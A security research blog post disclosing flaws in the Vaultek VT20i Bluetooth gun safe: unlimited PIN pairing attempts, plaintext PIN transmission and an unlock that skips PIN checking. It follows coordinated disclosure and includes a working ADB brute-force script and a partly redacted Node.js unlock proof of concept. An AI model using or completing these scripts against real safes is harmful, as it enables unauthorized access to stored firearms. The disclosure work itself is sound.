Remotely Cracking Bluetooth Enabled Gun Safes

In this blog post, we will detail BlueSteal, or the ability to exploit multiple security failures in the Vaultek VT20i. These vulnerabilities highlight the need to include security audits early in the product manufacturing process. These vulnerabilities include CVE-2017-17435 and CVE-2017-17436. The VT20i is a very popular product designed for the safe storage of firearms and is one of Amazon’s top sellers in several categories. We appreciate the form and fit of the safe as it is one of the more well constructed safes we have interacted with. Along with this post we detail a redacted proof of concept which can unlock Vaultek VT20i Gun Safes that we own through transmission of specially formatted Bluetooth messages.

Disclosure Timeline

The vendor was initially contacted about this vulnerability on 10/6/2017. On 11/7/17 the manufacturer notified us that they had time to review our findings and that they have updated models with “improved Bluetooth security with the option for disabling the Bluetooth unlock or the entire connection altogether. There is also a time out feature designed for brute force attacks and additional encryption for the communication between the app and safe.” We released this blogpost following a 60-day disclosure period.

As mentioned, Vaultek is aware of the vulnerabilities and currently addressing these issues to improve their Bluetooth security for future productions as well as provide an upgrade for existing customers. They are actively working on new firmware updates that should be available to customers soon to fully address CVE-2017-17435 in current applicable models, and with additional development time CVE-2017-17436. For more information on product updates please contact Vaultek. Anyone immediately concerned about the potential security risk can disable their Bluetooth using the available keypad hotkey toggle. This sequence is listed in the product user manual, and disables the Bluetooth to eliminate the security risk.

UPDATE 12.10.2017 Vaultek has verified their safes hardware and software can in fact be updated. They will be offering a free upgrade service to all existing customers. Vaultek encourages concerned customers to visit their support page and contact their support team for details.

The Vulnerabilities

The Fun Vulnerability – The manufacturer’s Android application allows for unlimited pairing attempts with the safe. The pairing pin code is the same as the unlocking pin code. This allows for an attacker to identify the shared pincode by repeated brute force pairing attempts to the safe.

– The manufacturer’s Android application allows for unlimited pairing attempts with the safe. The pairing pin code is the same as the unlocking pin code. This allows for an attacker to identify the shared pincode by repeated brute force pairing attempts to the safe. The Really Fun Vulnerability- CVE-2017-17436 – There is no encryption between the Android phone app and the safe. The application transmits the safe’s pin code in clear text after successfully pairing. The website and marketing materials advertise that this communication channel is encrypted with “Highest Level Bluetooth Encryption” and “Data transmissions are secure via AES256 bit encryption”. However these claims are not true. AES256 bit encryption is not supported in the Bluetooth LE standard and we have not seen evidence of its usage in higher layers. AES-128 is supported in Bluetooth LE, but the manufacturer is not using that either. This lack of encryption allows an individual to learn the passcode by eavesdropping on the communications between the application and the safe.

– There is no encryption between the Android phone app and the safe. The application transmits the safe’s pin code in clear text after successfully pairing. The website and marketing materials advertise that this communication channel is encrypted with “Highest Level Bluetooth Encryption” and “Data transmissions are secure via AES256 bit encryption”. However these claims are not true. AES256 bit encryption is not supported in the Bluetooth LE standard and we have not seen evidence of its usage in higher layers. AES-128 is supported in Bluetooth LE, but the manufacturer is not using that either. This lack of encryption allows an individual to learn the passcode by eavesdropping on the communications between the application and the safe. The ‘How Does This Even Happen?’ Vulnerability- CVE-2017-17435 – An attacker can remotely unlock any safe in this product line through specially formatted Bluetooth messages, even with no knowledge of the pin code. The phone application requires the valid pin to operate the safe, and there is a field to supply the pin code in an authorization request. However the safe does not verify the pin code, so an attacker can obtain authorization and unlock the safe using any arbitrary value as the pin code.

We will dig into the details of all of these vulnerabilities and how we found them below.

Breaking In The Easy Way

The first step was to acquire the Android APK for interacting with the safe. This APK can be found here: https://apkpure.com/vaultek/com.youhone.vaultek. The version we utilized was v2.0.1. The authors of the APK seem to be a Chinese company named Youhone. Upon opening the app, there is initially a view to connect to the safe and pair it using a pincode.

It just so happens that this is the same pincode that is used to unlock the safe. After successfully pairing, we can then use the app to perform commands such as unlocking the safe.

We immediately checked to see if we could successfully mount a brute force attack. The pin is only 4-8 digits in length with numeric values 1-5 available. Due to this relatively small keyspace we can easily script a brute force attack that utilizes ADB to manipulate the manufacturer’s application. In the attacker’s best case scenario of a 4 character pin code, the search space is a reasonable 5⁴. This would require around 72 minutes at conservative 7 seconds per try.

Below we have a quick and dirty Python script that was written to interact with the phone over ADB and input sequential key combinations. When the script iterates to the correct pin/key, the safe will pop open.

import os import itertools import time for combination in itertools.product(xrange(1,6),repeat=4): print ''.join(map(str,combination)) os.system("adb shell input touchscreen tap 600 600") time.sleep(5) os.system("adb shell input text"+ ' "' + ''.join(map(str,combination)) + '"') time.sleep(1) os.system("adb shell input touchscreen tap 500 1100") time.sleep(1) os.system("adb shell input touchscreen tap 850 770")

This vulnerability could have been prevented or mitigated if the application or safe had timeouts for incorrect retries, or enforced some maximum retry limit.

We had a good chuckle with this, however we wanted to access this safe without relying on brute force.

Reverse Engineering

The Vaultek APK is responsible for pairing with and unlocking the safe. There are two approaches to understanding its functionality:

Static analysis through identifying code in the APK responsible for generating the unlock commands.

Dynamic analysis through packet captures of transmitted commands and logging output.

The protocol used to communicate between the safe and the application is Bluetooth Low Energy, here is a link to some extra reading.

https://devzone.nordicsemi.com/tutorials/17/

Packet Capture

We initially used an Ubertooth to sniff the traffic going between the phone and the safe, logging the capture to disk.

https://github.com/greatscottgadgets/ubertooth

After examining the packet capture, it was clear that AES 256 encryption was not being utilized. Write commands were being conducted in clear text.

Since this is the case, it is actually much simpler to just use the Android built in Bluetooth HCI log. Here is a good article on how to utilize this feature.

Here is a link to an Android capture that showcases the conversation.

In the packet capture we can clearly see where the Bluetooth Low Energy GATT conversation starts. It appears that the APK issues a single write request to the 0xB handle. This is to enable notifications. This is then followed by a lengthy exchange with the 0xA handle.

For now, let’s go back to the APK to see what those data payloads represent.

APK Code Analysis

On a parallel path, we used apktool and dex2jar to extract class files from the APK. Luyten, a GUI for the Procyon decompiler, was used to inspect decompiled code.

One class that seemed particularly interesting was OrderUtilsVT20. Among other thingsThis class contain formatting code for command payloads. There are also “magic” constants that are associated with various types of commands.

static { OrderUtilsVT20.PASSWORD = "12345678"; OrderUtilsVT20.AUTHOR = new byte[] { 0, 0, 0, 0 }; OrderUtilsVT20.CMD_AUTHOR = new byte[] { -128, -83 }; OrderUtilsVT20.CMD_INFO = new byte[] { 48, -51 }; OrderUtilsVT20.CMD_FINGER = new byte[] { 49, -51 }; OrderUtilsVT20.CMD_LOG = new byte[] { 50, -51 }; OrderUtilsVT20.CMD_DOOR = new byte[] { 51, -51 }; OrderUtilsVT20.CMD_SOUND = new byte[] { 52, -51 }; OrderUtilsVT20.CMD_LUMINANCE = new byte[] { 53, -51 }; OrderUtilsVT20.CMD_DELETE = new byte[] { 54, -51 }; OrderUtilsVT20.CMD_DELETE_ALL = new byte[] { 55, -51 }; OrderUtilsVT20.CMD_TIME = new byte[] { 56, -51 }; OrderUtilsVT20.CMD_DISCONNECT = new byte[] { 57, -51 }; OrderUtilsVT20.CMD_ERROR = new byte[] { 59, -51 }; OrderUtilsVT20.CMD_PAIR = new byte[] { 58, -51 }; OrderUtilsVT20.CMD_PAIRED = new byte[] { 58, -51 }; }

Unfortunately these values do not show up directly in the packet capture. Upon more investigation we discovered that this was because the application and safe were performing an odd encoding routine to pack and morph the payload data. The APK also breaks up the encoded payload into 20 byte length chunks. This matches the format observed in the packet capture.

The encoding function is below:

if (!StringUtil.isVT20(s)) {} s = (String)(Object)new byte[array.length * 2 + 2]; s[0] = true; s[s.length - 1] = -1; for (int i = 0; i < array.length; ++i) { final byte b = array[i]; final byte b2 = array[i]; s[i * 2 + 1] = (byte)(((b & 0xF0) >> 4) + 97); s[i * 2 + 2] = (byte)((b2 & 0xF) + 97); } Label_0220: { if (this.mGattCharacteristic != null && this.mBluetoothGatt != null) { int length = s.length; int n = 0; while (true) { Label_0185: { if (length > 20) { break Label_0185; } array = new byte[length]; System.arraycopy(s, n * 20, array, 0, length); int i = 0; Label_0173_Outer: while (true) { this.SendData(array); ++n; while (true) { try { Thread.sleep(10L); length = i; if (i == 0) { this.processNextSend(); return; } break; array = new byte[20]; System.arraycopy(s, n * 20, array, 0, 20); i = length - 20; continue Label_0173_Outer;

After discovering this, it was relatively trivial to reverse the encoding process, our decoding function is below.

function decodePayload(payload){ var res = new Array(); for(var i=1;i<payload.length-1;i=i+2){ var tmp; tmpA = payload[i]-97; tmpB = payload[i+1]-97; tmpC = (tmpA<<4) + tmpB; res.push(tmpC); } return res; }

After applying this decoding function to the captured payloads, it becomes easy to identify the commands the app was transmitting to the safe. Here is the conversation we observed.

The two most interesting commands out of this conversation are getAuthor and openDoor.

Here is the code responsible for formatting the getAuthor command.

public static byte[] getAuthor(final String password) { if (password == null || password.length() <= 0) { return null; } System.out.println("获取授权码 " + password); setPASSWORD(password); (OrderUtilsPro.data = new byte[24])[0] = -46; OrderUtilsPro.data[1] = -61; OrderUtilsPro.data[2] = -76; OrderUtilsPro.data[3] = -91; setTime(); OrderUtilsPro.data[8] = OrderUtilsPro.CMD_AUTHOR[0]; OrderUtilsPro.data[9] = OrderUtilsPro.CMD_AUTHOR[1]; setRandom(); setDateLength(4); CRC(); setPassWord(); return OrderUtilsPro.data; }

We can see that there is a call to setPassWord, this places the padded pin code at the end of the getAuthor packet.

public static void setPASSWORD(final String s) { String password = s; Label_0062: { switch (s.length()) { default: {} case 4: { password = "0000" + s; break Label_0062; } case 7: { password = "0" + s; break Label_0062; } case 6: { password = "00" + s; break Label_0062; } case 5: { password = "000" + s; } case 8: { OrderUtilsPro.PASSWORD = password; } } } } public static void setPassWord() { for (int i = 0; i < 8; i += 2) { OrderUtilsPro.data[23 - i / 2] = (byte)(int)Integer.valueOf(OrderUtilsPro.PASSWORD.substring(i, i + 2), 16); } }

The structure of the getAuthor command then is as follows:

This is troublesome since the APK transmits the programmed pin code without encryption during the unlocking process. Which reveals our second vulnerability, transmission of the pin code in plaintext.

It also hit us that getAuthor is short for getAuthorization. Delving into this message, we get the structure shown in the table above. Of note the pin code at the end of the structure is actually transmitted in the plain text in the getAuthor command. Which brings us to our final vulnerability, the safe does not check the pin code transmitted in the getAuthor packet, and will reply with a proper authorization token no matter what is in the field.

The safe’s response to the getAuthor command contains an authorization code or token located in the first 4 bytes. It took us a bit of time to figure out that this return message was a necessary component of the openDoor message. Thus, all we need to do is obtain an authorization code for the openDoor command in order for it to unlock the safe.

We can see this occurring in com.youhone.vaultek.utils.ReceiveStatusVT20.ReceiveStatusVT20.

switch (this.param) { default: {} case 41001: { System.out.println("获取授权码VT"); this.author[0] = array[0]; this.author[1] = array[1]; this.author[2] = array[2]; this.author[3] = array[3]; }

The openDoor command has the following format after filling in the first 4 bytes with the auth code.

In the end the minimum necessary conversation to open the safe is just:

Proof of Concept (Redacted)

Here is a redacted proof of concept code used to open the safe. The below script will not in and of itself be able to open a safe without a bit of work.

/* Usage: npm install noble npm install split-buffer node unlock.js */ var noble = require('noble'); var split = require('split-buffer'); var rawData = ["ThisIsWhere","TheRAWDataWouldGo"] function d2h(d) { var h = (+d).toString(16); return h.length === 1 ? '0' + h : h; } function decodePayload(payload){ var res = new Array(); for(var i=1;i<payload.length-1;i=i+2){ var tmp; tmpA = payload[i]-97; tmpB = payload[i+1]-97; tmpC = (tmpA<<4) + tmpB; res.push(tmpC); } return res; } function encodePayload(payload){ var res = new Array(); res.push(0x01); for(var i=0;i<payload.length;i=i+1){ var tmp; tmpA = payload[i]; tmpB = (payload[i]>>4)+97; tmpC = (payload[i]&0xF)+97; res.push(tmpB); res.push(tmpC); } res.push(0xff); return res; } function CRC(target){ var tmp = 0; for(var i=0;i<16;i=i+1){ tmp += target[i] & 0xFF } var carray = new Array(); carray.push(tmp&0xFF); carray.push((tmp&0xFF00)>>8); carray.push((tmp&0xFF0000)>>16); carray.push((tmp&0xFF000000)>>24); target[16] = carray.shift(); target[17] = carray.shift(); target[18] = carray.shift(); target[19] = carray.shift(); } function scan(state){ if (state === 'poweredOn') { // if the radio's on, scan for this service noble.startScanning(); console.log("[+] Started scanning"); } else { // if the radio's off, let the user know: noble.stopScanning(); console.log("[+] Is Bluetooth on?"); } } var mcount = 0; function findMe (peripheral) { console.log('Discovered ' + peripheral.advertisement.localName); if (String(peripheral.advertisement.localName).includes("VAULTEK")){ console.log('[+] Found '+peripheral.advertisement.localName) } else{ return; } noble.stopScanning(); peripheral.connect(function(error) { console.log('[+] Connected to peripheral: ' + peripheral.uuid); peripheral.discoverServices(['0e2d8b6d8b5e91d5b3706f0a1bc57ab3'],function(error, services) { targetService = services[0]; targetService.discoverCharacteristics(['ffe1'], function(error, characteristics) { // got our characteristic targetCharacteristic = characteristics[0]; targetCharacteristic.subscribe(function(error){}); targetCharacteristic.discoverDescriptors(function(error, descriptors){ // write 0x01 to the descriptor console.log('[+] Writing 0x01 to descriptor'); var descB = new Buffer('01','hex'); descriptor = descriptors[0]; descriptor.writeValue(descB,function(error){}); console.log('[+] Fetching authorization code'); message = split(Buffer.from(rawData.shift(),'hex'),20); for(j in message){ targetCharacteristic.write(message[j],true,function(error) {}); } }); targetCharacteristic.on('data', function(data, isNotification){ if(mcount==1) { process.exit() } mcount = mcount + 1; data = decodePayload(data); message = new Buffer.from(rawData.shift(),'hex'); message = decodePayload(message); message[0] = data[0]; message[1] = data[1]; message[2] = data[2]; message[3] = data[3]; console.log("[+] Obtained Auth Code:"); console.log(d2h(data[0])+' '+d2h(data[1])+' '+d2h(data[2])+' '+d2h(data[3])); CRC(message); message = encodePayload(message) message = new Buffer(message); message = split(message,20); console.log("[+] Unlocking Safe"); for(j in message){ targetCharacteristic.write(message[j],true,function(error) {}); } return; }); }); }); }); return; } noble.on('stateChange', scan); // when the BT radio turns on, start scanning noble.on('discover', findMe);

The steps this script performs are:

Define two template payloads for getAuthor and openDoor .

and . Scan for the safe, locate the service and characteristic that we want to interact with by UUID.

Write a 0x01 value into the Client Characteristic Configuration Descriptor in order to enable notifications.

Send our getAuthor encoded template payload in 20 byte chunks as a write command. We then wait for a handle value notification and retrieve the response.

encoded template payload in 20 byte chunks as a write command. We then wait for a handle value notification and retrieve the response. Decode the response, and take the first 4 bytes as the authorization token. We plop these authorization bytes into our openDoor command template.

command template. After transmitting the openDoor command, the safe should open.

We later learned the only fields in the getAuthor command that matter are the hardcoded magic bytes and the CRC value.

This means a getAuthor command with any pincode value can return back an authorization code that can open up the safe.

Even better, the openDoor command only checks that the authorization code, magic values, and CRC.

We have tested and verified this functionality on multiple Vaultek VT20i safes.

Summing It Up

The vulnerabilities found in this safe allow an unauthorized user to access it’s contents.

This is particularly troubling because:

These safes are advertised to hold firearms

They have regulatory approval to be used to transport firearms through TSA

Are advertised to use security technologies such as encryption

This should serve as a stark reminder to manufacturers of smart products that security audits can be extremely beneficial, particularly if coding or design work is being outsourced. In this case an audit before the product came to market would have revealed all of these vulnerabilities, which then could have been fixed in production. It is costly for a manufacturer to fix these sorts of issues after sales begin. Thus, care needs to be taken to carefully engineer the security of the platform and its update mechanisms.

Who are we?

We work in the Two Six Labs Cyber Capabilities group, we develop next generation offensive and defensive cyber solutions to solve the operational challenges of today and tomorrow. Combining cutting edge technology with proven tools and techniques to create innovative solutions for time sensitive situations. Check out our careers page and send us an email to the authors if you are interested in working with us!

Credits

We would additionally like to thank several people at TwoSix Labs who helped us out along the way including: Andrzej Gorski, David Renardy, Jeff Karrels, and Scott Tenaglia